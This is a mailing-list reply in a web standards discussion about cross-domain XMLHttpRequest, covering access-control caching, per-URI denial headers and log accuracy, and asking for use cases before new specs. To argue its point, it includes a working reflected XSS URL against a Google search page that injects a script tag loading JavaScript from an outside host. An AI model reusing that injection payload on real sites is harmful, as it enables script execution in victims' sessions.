"Ian Hickson" <[EMAIL PROTECTED]>
- Caching means they can't be updated quickly for patching security
holes, especially on large sites (which ironically are the most
likely to be targetted).
Single location, with a NOT CROSS DOMAIN header available on individual
URI's is workable, you've got the single location to stop inadvertant
leakage, and the ability for a server to rapidly deny specific requests to
specific uris.
I fail to see how a magic uri pollutes logs any more than any other
request - the only time you'd get a request for one that wasn't available is
if someone was using a resource they weren't allowed to use, the request for
the real resource would be equally as polluting for the logs, except an
author would no longer have accurate statistics [1] - how does the server
tell a successful request from one that was swallowed by the client. It
would also have the advantage that a server that didn't understand the XHR
rules wouldn't be forced to execute a lengthy process and return a large
document only to have it discarded by the client.
Personally I think the WEB-API WG should not even be considering a Cross
Domain XHR at this time, it's clear from examples such as
http://mail.google.com/search?hl=en&lr=&rls=GGLD%2CGGLD%3A2003-47%2CGGLD%3Aen&q=%3Cscript+src%3D%22http%3A%2F%2Fjibbering.com%2Ftest6.js%22%3EOR+%3Cscript%3Ebooks%3C%2Fscript%3E
That not even companies with the resources of Google can protect their
flagship domains and services from XSS exploits (The above one has been
public for over a week and not patched at time of posting) so the
assumptions of the capability of authors shown in the discussion is probably
unwarranted. There are higher priority things to be finishing - test
suites for the current specs.
Also once again, the first discussion on the list is a specification, where
are the use case? Please provide use cases of all new functionality before
proposing a solution, it's silly to waste everyones time reviewing
specifications when the use case for the spec. is not known. Also the
webapi WG has expressed a public preference to specify existing behaviour,
there are existing solutions to the cross domain problem and a criticism of
these solutions would be welcome before suggesting yet another method.
Cheers,
Jim.
[1] Not that they did before, but it's now even more unreliable as even the
successful requests aren't an accurate count as failures exist only on the
client.